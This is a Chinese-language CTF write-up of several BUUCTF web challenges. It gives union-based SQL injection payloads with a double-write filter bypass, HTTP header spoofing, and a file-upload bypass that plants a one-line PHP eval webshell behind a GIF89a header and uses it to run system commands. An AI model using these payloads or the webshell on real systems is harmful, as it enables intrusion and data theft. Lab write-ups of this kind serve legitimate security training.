BUUCTFweb的一些wp（2）

[极客大挑战 2019]Knife

很明显，它直接提示我们菜刀了，直接用菜刀连一下就好了

然后在根目录下找到flag

[极客大挑战 2019]LoveSQL

啊很明显的SQL注入，尝试下万能密码

1' or 1=1 #

发现它给了用户名admin和密码，这个密码有点像16进制加密，尝试解密，但是没啥用
于是我们继续思路，尝试order by看一下有多少列，发现只有3列

确定有3列后，我们来测试下回显字段的位置

1' union select 1,2,3#

可以看到2，3都可以作为回显，随便选一个就好，接下来我们来爆一下数据库名

1‘ union select 1,database(),3 #

ok，这里我们知道了数据库为geek，接下来爆表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'geek' #

可以看到有两个表，显然geekuser不是我们的目标，于是我们尝试爆后面这个奇奇怪怪的表（一般爆这种奇奇怪怪的准没错，就算出错再爆那个规规矩矩的嘛）

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'geek' and table_name = 'l0ve1ysq1' #

然后我们可以看到有id，username，password，ok，最后获取这三个字段就行啦

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

这里要往右边多拉一会，因为作者载着理发店…

[极客大挑战 2019]Http

打开这个题，发现网页是很健康的绿色，然后左看看右看看上看看下看看发现啥都没有，打开源码康一下，果然有个Secret.php

那就打开看看呗

它说需要从这个地址访问，结合题目描述，懂了，抓包！

我们添加一个

referer:https://Sycsecret.buuoj.cn

然后他让我们用Syclover这个浏览器，我们再修改User-agent，把我们的浏览器换成它的

然后它又说只能在本地访问，那我们再加一个

x-forwarded-for:127.0.0.1

这下总算拿到flag了

[极客大挑战 2019]Upload

upload，直接告诉我们是文件上传了，那就抓包！上传！

啊，它提示我们没有图像，那就修改一下Content-Type，改成

image/jpeg

提示我们这是php，哒咩！okok，那我们改个后缀，把php改成phtml试试

ok，现在告诉我们不能有<?，那我们换一种🐎

<script language="php">eval($_GET['hack']);</script>

这次它告诉我们这还不是图片，我们在🐎前面加上GIF89a来进行图像头文件欺骗

这下ok了，我们直接刀它就可以拿到flag了
这里我遇到了一个问题，刀不好使了，发现没有返回数据，那除了刀，我们还可以自己来拿，只要切换到我们的🐎目录下，利用🐎来执行系统函数也是可以的，比如我这里是

http://67bcff20-d185-4419-841a-c8dd12ce712b.node4.buuoj.cn:81/upload/1.phtml?hack=system(%27ls%20/%27);

可以看到flag就在根目录下，于是我们直接cat /flag

http://67bcff20-d185-4419-841a-c8dd12ce712b.node4.buuoj.cn:81/upload/1.phtml?hack=system(%27cat%20/flag%27);

[ACTF2020 新生赛]Upload

又是一个文件上传题，直接抓包看看

发现它前端直接就不让我们传非图片的文件，那简单，我们先改成图片形式的，然后再抓包改回来就好了

哎，php被发现了，改成phtml试试

ok，成啦，按照这个路径去刀就行，要是刀不上，就自己控制拿flag

[极客大挑战 2019]BabySQL

和之前一个系列的，老套路，先试试万能密码，发现不行，注意到提示说有过滤，这里我们可以小小的fuzz一下，看看过滤了些什么，经过fuzz发现or，and，select，from，union，where等都被过滤了，那么，有没有可能双写绕过呢，试一试

1' oorr 1=1 #

发现成功绕过了，ok，那接下来也基本上和上面那道题一样了，但是这里需要注意双写，我把注入过程的语句贴在下面

1' ununionion seselectlect 1,2,database() #

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = 'geek' #

1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema = 'geek' anandd table_name = 'b4bsql'#

1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql#

然后就拿到flag啦